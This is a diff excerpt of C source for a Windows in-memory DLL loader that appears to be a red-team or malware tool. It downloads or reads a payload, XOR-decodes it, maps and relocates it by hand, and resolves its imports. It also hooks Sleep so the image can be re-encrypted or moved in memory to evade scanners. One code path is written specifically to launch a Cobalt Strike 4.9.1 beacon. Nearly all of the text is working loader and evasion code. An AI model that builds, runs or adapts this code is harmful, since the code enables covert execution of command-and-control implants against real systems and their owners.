printf("[!] ReadDllFile Failed With Error: %d \n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
if (Configs.XorKey != NULL) {
|
||||
printf("[!] Xoring payload with key: %s\n", Configs.XorKey);
|
||||
XORWithKey(DllPayload.pDllBytes, DllPayload.BytesNumber, Configs.XorKey);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("[!] Either -d (load PE from from URL) or -f (load PE from file) option must be specified\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
pDllBytes = DllPayload.pDllBytes;
|
||||
if (pDllBytes == NULL) {
|
||||
printf("[!] pDllBytes is Null : %d \n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
printf("[+] Running\n");
|
||||
|
||||
Error = Run(pDllBytes);
|
||||
if (Error != MMEC_OK) {
|
||||
printf("[!] Coudn't Run The Dll ... \n");
|
||||
FreeRawModule(pDllBytes);
|
||||
return -1;
|
||||
}
|
||||
printf("[+] DONE \n");
|
||||
FreeRawModule(pDllBytes);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,581 @@
|
||||
#include <stdio.h>
|
||||
#include "memloader.h"
|
||||
#include "hooks.h"
|
||||
#include "utils.h"
|
||||
|
||||
PMEM_MODULE pMemModule = NULL;
|
||||
LPVOID oldbase = NULL;
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// the following 2 functions, are made to add elements in the arrays we have
|
||||
void AppendTSizeArray(SIZE_T Value) {
|
||||
for (int i = 0; i < SIZE_ARRAY + 1; i++){
|
||||
if (TSizeArray[i] == 0){
|
||||
TSizeArray[i] = Value;
|
||||
index++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void AppendlpBaseArray(PVOID Value) {
|
||||
for (int i = 0; i < SIZE_ARRAY + 1; i++) {
|
||||
if (lpBaseArray[i] == NULL) {
|
||||
lpBaseArray[i] = Value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint) {
|
||||
if ( pMemModule == NULL || PEdata == NULL)
|
||||
return FALSE;
|
||||
pMemModule->dwErrorCode = ERROR_SUCCESS;
|
||||
// Verify file format
|
||||
if (IsPEValid(pMemModule, PEdata) == FALSE) {
|
||||
return FALSE;
|
||||
}
|
||||
// Map PE header and section table into memory
|
||||
if (MapModule(pMemModule, PEdata) == FALSE)
|
||||
return FALSE;
|
||||
// Relocate the module base
|
||||
if (doRelocations(pMemModule) == FALSE) {
|
||||
UnmapModule(pMemModule);
|
||||
return FALSE;
|
||||
}
|
||||
// Resolve the import table
|
||||
if (ResolveImports(pMemModule) == FALSE) {
|
||||
UnmapModule(pMemModule);
|
||||
return FALSE;
|
||||
}
|
||||
pMemModule->dwCrc = GetCRC32(0, pMemModule->lpBase, pMemModule->dwSizeOfImage);
|
||||
|
||||
// Correct the protect flag for all section pages --- DO THIS IF YOU WANT 2 ALLOCATIONS
|
||||
//if (FALSE == SetRXonSection(DllPayload.startOfMappedPE)) {
|
||||
//UnmapModule(pMemModule);
|
||||
//return FALSE;
|
||||
//}
|
||||
// don't do this if you want 2 allocations or RWX
|
||||
if (Configs.SleepHookFunc == SleepHookRWRX) {
|
||||
if (SetPermissions(pMemModule) == FALSE) {
|
||||
UnmapModule(pMemModule);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// process tls data
|
||||
if (HandleTLS(pMemModule) == FALSE)
|
||||
return FALSE;
|
||||
if (CallEntryPoint) {
|
||||
if (CallModuleEntry(pMemModule, DLL_PROCESS_ATTACH) == FALSE) {
|
||||
// failed to call entry point,
|
||||
// clean resource, return false
|
||||
UnmapModule(pMemModule);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError) {
|
||||
pMemModule = GlobalAlloc(GPTR, sizeof(MEM_MODULE));
|
||||
if (pMemModule == NULL) {
|
||||
if (pdwError != NULL) {
|
||||
*pdwError = MMEC_INVALID_WIN32_ENV;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pMemModule->CallEntryPoint = CallEntryPoint;
|
||||
pMemModule->isLoaded = FALSE;
|
||||
pMemModule->dwErrorCode = MMEC_OK;
|
||||
|
||||
if (!LoadModuleInt(pMemModule, PEdata, CallEntryPoint)) {
|
||||
if (pdwError != NULL) {
|
||||
*pdwError = pMemModule->dwErrorCode;
|
||||
}
|
||||
GlobalFree(pMemModule);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (pdwError != NULL) {
|
||||
*pdwError = 0;
|
||||
}
|
||||
return (HMEMMODULE)pMemModule;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Tests the return value and jump to exit label if false.
|
||||
#define IfFalseGoExitWithError(x, exp) \
|
||||
do { \
|
||||
if (!(br = (x)) && (exp)) \
|
||||
goto _Exit; \
|
||||
} while (0)
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Create a pointer value.
|
||||
#define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset))
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
/// <returns>True if the data is valid PE format.</returns>
|
||||
BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata) {
|
||||
if (pMemModule == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL isValid = FALSE;
|
||||
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)PEdata;
|
||||
|
||||
if (IMAGE_DOS_SIGNATURE != pImageDosHeader->e_magic) {
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, PEdata, pImageDosHeader->e_lfanew);
|
||||
if (IMAGE_NT_SIGNATURE != pImageNtHeader->Signature) {
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
if (IMAGE_FILE_MACHINE_AMD64 == pImageNtHeader->FileHeader.Machine) {
|
||||
if (IMAGE_NT_OPTIONAL_HDR64_MAGIC != pImageNtHeader->OptionalHeader.Magic) {
|
||||
goto Exit;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (IMAGE_FILE_MACHINE_I386 == pImageNtHeader->FileHeader.Machine) {
|
||||
if (IMAGE_NT_OPTIONAL_HDR32_MAGIC != pImageNtHeader->OptionalHeader.Magic) {
|
||||
goto Exit;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
isValid = TRUE;
|
||||
|
||||
Exit:
|
||||
if (!isValid) {
|
||||
pMemModule->dwErrorCode = MMEC_BAD_PE_FORMAT;
|
||||
}
|
||||
return isValid;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// this function here is used to map all the sections
|
||||
BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata) {
|
||||
if (pMemModule == NULL || PEdata == NULL)
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(PEdata);
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
|
||||
int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections;
|
||||
PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
|
||||
|
||||
DWORD dwImageSizeLimit = 0;
|
||||
for (int i = 0; i < nNumberOfSections; ++i) {
|
||||
if (pImageSectionHeader[i].VirtualAddress != 0) {
|
||||
DWORD sectionLimit = pImageSectionHeader[i].VirtualAddress + pImageSectionHeader[i].SizeOfRawData;
|
||||
if (dwImageSizeLimit < sectionLimit)
|
||||
dwImageSizeLimit = sectionLimit;
|
||||
}
|
||||
}
|
||||
DllPayload.mappedimagesize = dwImageSizeLimit;
|
||||
|
||||
// Reserve virtual memory
|
||||
|
||||
DWORD protection = (Configs.SleepHookFunc == SleepHookMemoryBouncing || Configs.SleepHookFunc == SleepHookMemoryHopping) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE;
|
||||
LPVOID lpBase = VirtualAlloc((LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection);
|
||||
if (NULL == lpBase) {
|
||||
lpBase = VirtualAlloc(NULL, pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection);
|
||||
if (NULL == lpBase) {
|
||||
pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
DllPayload.startOfMappedPE = lpBase;
|
||||
oldbase = DllPayload.startOfMappedPE;
|
||||
AppendlpBaseArray(lpBase);
|
||||
AppendTSizeArray(dwImageSizeLimit);
|
||||
// Commit memory for PE header
|
||||
LPVOID pDest = lpBase;//VirtualAlloc(lpBase, pImageNtHeader->OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!pDest) {
|
||||
pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
AppendlpBaseArray(pDest);
|
||||
AppendTSizeArray(pImageNtHeader->OptionalHeader.SizeOfHeaders);
|
||||
RtlMoveMemory(pDest, PEdata, pImageNtHeader->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
pMemModule->lpBase = pDest;
|
||||
pMemModule->iBase = (ULONGLONG)pDest;
|
||||
pMemModule->dwSizeOfImage = pImageNtHeader->OptionalHeader.SizeOfImage;
|
||||
pMemModule->isLoaded = TRUE;
|
||||
|
||||
pImageDosHeader = (PIMAGE_DOS_HEADER)pDest;
|
||||
pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
|
||||
pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
|
||||
|
||||
LPVOID pSectionBase = NULL;
|
||||
LPVOID pSectionDataSource = NULL;
|
||||
for (int i = 0; i < nNumberOfSections; ++i) {
|
||||
if (pImageSectionHeader[i].VirtualAddress != 0) {
|
||||
pSectionBase = MakePointer(LPVOID, lpBase, pImageSectionHeader[i].VirtualAddress);
|
||||
if (pImageSectionHeader[i].SizeOfRawData == 0) {
|
||||
DWORD size = pImageSectionHeader[i].Misc.VirtualSize > 0 ? pImageSectionHeader[i].Misc.VirtualSize : pImageNtHeader->OptionalHeader.SectionAlignment;
|
||||
if (size > 0) {
|
||||
ZeroMemory(pSectionBase, size);
|
||||
}
|
||||
}
|
||||
else {
|
||||
// Checking if section has executable flag
|
||||
if (pImageSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
DllPayload.execRegionPtr = pSectionBase;
|
||||
DllPayload.execRegionSize = pImageSectionHeader[i].SizeOfRawData;
|
||||
printf("[+] Saved RX memory pointer address: %#llx and size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
|
||||
}
|
||||
pSectionDataSource = MakePointer(LPVOID, PEdata, pImageSectionHeader[i].PointerToRawData);
|
||||
RtlMoveMemory(pSectionBase, pSectionDataSource, pImageSectionHeader[i].SizeOfRawData);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (Configs.SleepHookFunc == SleepHookMemoryHopping || Configs.SleepHookFunc == SleepHookMemoryBouncing) {
|
||||
printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE);
|
||||
DllPayload.tempPEdatabuffer = (BYTE*)malloc(DllPayload.mappedimagesize);
|
||||
if (DllPayload.tempPEdatabuffer == NULL) {
|
||||
printf("[+] Error: Failed to allocate dataBuffer\n");
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(DllPayload.tempPEdatabuffer, (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), DllPayload.mappedimagesize);
|
||||
printf("[+] XORing buffer\n");
|
||||
XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
|
||||
}
|
||||
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Relocates the module.
|
||||
doRelocations(PMEM_MODULE pMemModule) {
|
||||
if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
|
||||
LONGLONG lBaseDelta = (PBYTE)pMemModule->lpBase - (PBYTE)oldbase;
|
||||
|
||||
if (lBaseDelta == 0) {
|
||||
printf("[+] no delta detected from address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
printf("[+] delta of %lld (%#llx) bytes detected from address: %#llx\n", (unsigned long long)lBaseDelta, (unsigned long long)lBaseDelta, (unsigned long long)DllPayload.startOfMappedPE);
|
||||
|
||||
if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 ||
|
||||
pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0)
|
||||
return TRUE;
|
||||
|
||||
PIMAGE_BASE_RELOCATION pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pMemModule->lpBase,
|
||||
pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
|
||||
if (pImageBaseRelocation == NULL) {
|
||||
pMemModule->dwErrorCode = MMEC_INVALID_RELOCATION_BASE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while ((pImageBaseRelocation->VirtualAddress + pImageBaseRelocation->SizeOfBlock) != 0) {
|
||||
PWORD pRelocationData = MakePointer(PWORD, pImageBaseRelocation, sizeof(IMAGE_BASE_RELOCATION));
|
||||
int NumberOfRelocationData = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
|
||||
for (int i = 0; i < NumberOfRelocationData; i++) {
|
||||
if (IMAGE_REL_BASED_HIGHLOW == (pRelocationData[i] >> 12)) {
|
||||
PDWORD pAddress = (PDWORD)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF));
|
||||
DWORD oldAddress = *pAddress;
|
||||
*pAddress += (DWORD)lBaseDelta;
|
||||
printf("[+] Relocated HIGHLOW at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress);
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
if (IMAGE_REL_BASED_DIR64 == (pRelocationData[i] >> 12)) {
|
||||
PULONGLONG pAddress = (PULONGLONG)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF));
|
||||
ULONGLONG oldAddress = *pAddress;
|
||||
*pAddress += lBaseDelta;
|
||||
printf("[+] Relocated DIR64 at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pImageBaseRelocation, pImageBaseRelocation->SizeOfBlock);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BOOL ResolveImports(PMEM_MODULE pMemModule) {
|
||||
if (NULL == pMemModule || NULL == pMemModule->pImageDosHeader)
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader =
|
||||
MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
|
||||
|
||||
if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0 ||
|
||||
pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size == 0)
|
||||
return TRUE;
|
||||
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor =
|
||||
MakePointer(PIMAGE_IMPORT_DESCRIPTOR, pMemModule->lpBase,
|
||||
pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||
|
||||
for (; pImageImportDescriptor->Name; pImageImportDescriptor++) {
|
||||
PCHAR pDllName = MakePointer(PCHAR, pMemModule->lpBase, pImageImportDescriptor->Name);
|
||||
HMODULE hMod = GetModuleHandleA(pDllName);
|
||||
if (NULL == hMod) {
|
||||
hMod = LoadLibraryA(pDllName);
|
||||
}
|
||||
if (NULL == hMod) {
|
||||
pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
uintptr_t* thunkRef;
|
||||
FARPROC* funcRef;
|
||||
|
||||
if (pImageImportDescriptor->OriginalFirstThunk) {
|
||||
thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->OriginalFirstThunk);
|
||||
funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
|
||||
}
|
||||
else {
|
||||
thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
|
||||
funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
|
||||
}
|
||||
|
||||
for (; *thunkRef; thunkRef++, funcRef++) {
|
||||
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
|
||||
*funcRef = GetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
|
||||
printf("[+] Ordinal: %llu, Address: %p\n", (unsigned long long)IMAGE_ORDINAL(*thunkRef), *funcRef);
|
||||
}
|
||||
else {
|
||||
PIMAGE_IMPORT_BY_NAME thunkData = MakePointer(PIMAGE_IMPORT_BY_NAME, pMemModule->lpBase, (*thunkRef));
|
||||
*funcRef = GetProcAddress(hMod, (LPCSTR)&thunkData->Name);
|
||||
printf("[+] Function Name: %s, Address: %p\n", thunkData->Name, *funcRef);
|
||||
|
||||
// Check if the function should be hooked
|
||||
if (Configs.SleepHookFunc != NULL) {
|
||||
if (check_hook((LPCSTR)&thunkData->Name)) {
|
||||
printf("[+] Hooking function: %s\n", thunkData->Name);
|
||||
*funcRef = (FARPROC)Configs.SleepHookFunc;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (*funcRef == 0) {
|
||||
pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED;
|
||||
return FALSE;
|
||||
}
|
||||
printf("[+] Written to IAT at address: %p\n", (void*)funcRef);
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL SetPermissions(PMEM_MODULE pMemModule) {
|
||||
if (pMemModule == NULL)
|
||||
return FALSE;
|
||||
|
||||
int Protections[2][2][2] = {
|
||||
{{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}},
|
||||
{{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}},
|
||||
};
|
||||
|
||||
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(pMemModule->lpBase);
|
||||
|
||||
ULONGLONG ulBaseHigh = 0;
|
||||
#ifdef _WIN64
|
||||
ulBaseHigh = (pMemModule->iBase & 0xffffffff00000000);
|
||||
#endif
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
|
||||
int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections;
|
||||
PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
|
||||
|
||||
for (int idxSection = 0; idxSection < nNumberOfSections; idxSection++) {
|
||||
DWORD protectFlag = 0;
|
||||
DWORD oldProtect = 0;
|
||||
BOOL isExecutable = FALSE;
|
||||
BOOL isReadable = FALSE;
|
||||
BOOL isWritable = FALSE;
|
||||
BOOL isNotCache = FALSE;
|
||||
|
||||
ULONGLONG dwSectionBase = (ULONGLONG)pMemModule->lpBase + pImageSectionHeader[idxSection].VirtualAddress;
|
||||
|
||||
DWORD dwSecionSize = pImageSectionHeader[idxSection].SizeOfRawData;
|
||||
if (dwSecionSize == 0)
|
||||
continue;
|
||||
|
||||
DWORD dwSectionCharacteristics = pImageSectionHeader[idxSection].Characteristics;
|
||||
|
||||
if (dwSectionCharacteristics & IMAGE_SCN_MEM_DISCARDABLE) {
|
||||
VirtualFree((LPVOID)dwSectionBase, dwSecionSize, MEM_DECOMMIT);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (dwSectionCharacteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
isExecutable = TRUE;
|
||||
|
||||
if (dwSectionCharacteristics & IMAGE_SCN_MEM_READ)
|
||||
isReadable = TRUE;
|
||||
|
||||
if (dwSectionCharacteristics & IMAGE_SCN_MEM_WRITE)
|
||||
isWritable = TRUE;
|
||||
|
||||
if (dwSectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED)
|
||||
isNotCache = TRUE;
|
||||
|
||||
protectFlag = Protections[isExecutable][isReadable][isWritable];
|
||||
if (isNotCache)
|
||||
protectFlag |= PAGE_NOCACHE;
|
||||
|
||||
if (!VirtualProtect((LPVOID)dwSectionBase, dwSecionSize, protectFlag, &oldProtect)) {
|
||||
printf("[+] VirtualProtect failed for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag);
|
||||
pMemModule->dwErrorCode = MMEC_PROTECT_SECTION_FAILED;
|
||||
return FALSE;
|
||||
} else {
|
||||
printf("[+] VirtualProtect succeeded for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag);
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Processes TLS data
|
||||
BOOL HandleTLS(PMEM_MODULE pMemModule) {
|
||||
if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
|
||||
IMAGE_DATA_DIRECTORY imageDirectoryEntryTls = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
|
||||
|
||||
if (imageDirectoryEntryTls.VirtualAddress == 0)
|
||||
return TRUE;
|
||||
|
||||
PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)(pMemModule->iBase + imageDirectoryEntryTls.VirtualAddress);
|
||||
PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;
|
||||
|
||||
if (callback) {
|
||||
while (*callback) {
|
||||
(*callback)((LPVOID)pMemModule->hModule, DLL_PROCESS_ATTACH, NULL);
|
||||
callback++;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Calls the module entry.
|
||||
BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason) {
|
||||
if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
|
||||
Type_DllMain pfnModuleEntry = NULL;
|
||||
|
||||
if (pImageNtHeader->OptionalHeader.AddressOfEntryPoint == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pfnModuleEntry = MakePointer(Type_DllMain, pMemModule->lpBase, pImageNtHeader->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
if (pfnModuleEntry == NULL) {
|
||||
pMemModule->dwErrorCode = MMEC_INVALID_ENTRY_POINT;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[+] Calling entry point at address: %p\n", (void*)pfnModuleEntry);
|
||||
|
||||
|
||||
|
||||
if (Configs.downloadedBuffer != NULL) {
|
||||
printf("[+] freeing original opened/downloaded payload at address %p\n", Configs.downloadedBuffer);
|
||||
free(Configs.downloadedBuffer);
|
||||
Configs.downloadedBuffer = NULL; // Set pointer to NULL after freeing
|
||||
}
|
||||
|
||||
|
||||
|
||||
// execution method for Cobalt Strike 4.9.1
|
||||
if(Configs.Beacon){
|
||||
pfnModuleEntry(pMemModule->hModule, dwReason, NULL);
|
||||
return pfnModuleEntry(pMemModule->hModule, 4, NULL);
|
||||
}
|
||||
else {
|
||||
return pfnModuleEntry(pMemModule->hModule, dwReason, NULL);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Unmaps all the sections.
|
||||
VOID UnmapModule(PMEM_MODULE pMemModule) {
|
||||
if (NULL == pMemModule || FALSE == pMemModule->isLoaded || NULL == pMemModule->lpBase)
|
||||
return;
|
||||
VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE);
|
||||
pMemModule->lpBase = NULL;
|
||||
pMemModule->dwCrc = 0;
|
||||
pMemModule->dwSizeOfImage = 0;
|
||||
pMemModule->isLoaded = FALSE;
|
||||
}
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// Gets the CRC32 of the data.
|
||||
UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize) {
|
||||
#define CRC32_POLY 0x04C10DB7L
|
||||
UINT32 crc = 0;
|
||||
UINT32 Crc32table[256];
|
||||
for (int i = 0; i < 256; i++) {
|
||||
crc = (UINT32)(i << 24);
|
||||
for (int j = 0; j < 8; j++) {
|
||||
if (crc >> 31)
|
||||
crc = (crc << 1) ^ CRC32_POLY;
|
||||
else
|
||||
crc = crc << 1;
|
||||
}
|
||||
Crc32table[i] = crc;
|
||||
}
|
||||
|
||||
crc = uInit;
|
||||
UINT32 nCount = nBufSize;
|
||||
PUCHAR p = (PUCHAR)pBuf;
|
||||
while (nCount--) {
|
||||
crc = (crc << 8) ^ Crc32table[(crc >> 24) ^ *p++];
|
||||
}
|
||||
|
||||
return crc;
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
#include <windows.h>
|
||||
#include "structs.h"
|
||||
|
||||
#ifndef MEMLOADER_H
|
||||
#define SIZE_ARRAY 32
|
||||
#endif
|
||||
|
||||
|
||||
//global variable offset
|
||||
extern int offset;// 0x30000;
|
||||
|
||||
|
||||
|
||||
extern PVOID lpBaseArray[SIZE_ARRAY]; //save addresses that we wrote to, so that we can free
|
||||
extern SIZE_T TSizeArray[SIZE_ARRAY]; //save sizes of the memory pages we allocated
|
||||
extern int index;
|
||||
|
||||
|
||||
void FreeRawModule(PVOID pDllBytes);
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------------//
|
||||
// the following 2 functions, are made to add elements in the arrays we have
|
||||
void AppendTSizeArray(SIZE_T Value);
|
||||
void AppendlpBaseArray(PVOID Value);
|
||||
|
||||
BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint);
|
||||
|
||||
HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError);
|
||||
|
||||
// Tests the return value and jump to exit label if false.
|
||||
#define IfFalseGoExitWithError(x, exp) \
|
||||
do { \
|
||||
if (!(br = (x)) && (exp)) \
|
||||
goto _Exit; \
|
||||
} while (0)
|
||||
|
||||
// Create a pointer value.
|
||||
#define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset))
|
||||
|
||||
/// <returns>True if the data is valid PE format.</returns>
|
||||
BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata);
|
||||
|
||||
|
||||
// this function here is used to map all the sections
|
||||
BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata);
|
||||
|
||||
// Relocates the module.
|
||||
BOOL doRelocations(PMEM_MODULE pMemModule);
|
||||
|
||||
BOOL check_hook(const char* functionName);
|
||||
|
||||
BOOL ResolveImports(PMEM_MODULE pMemModule);
|
||||
BOOL SetPermissions(PMEM_MODULE pMemModule);
|
||||
|
||||
|
||||
// Processes TLS data
|
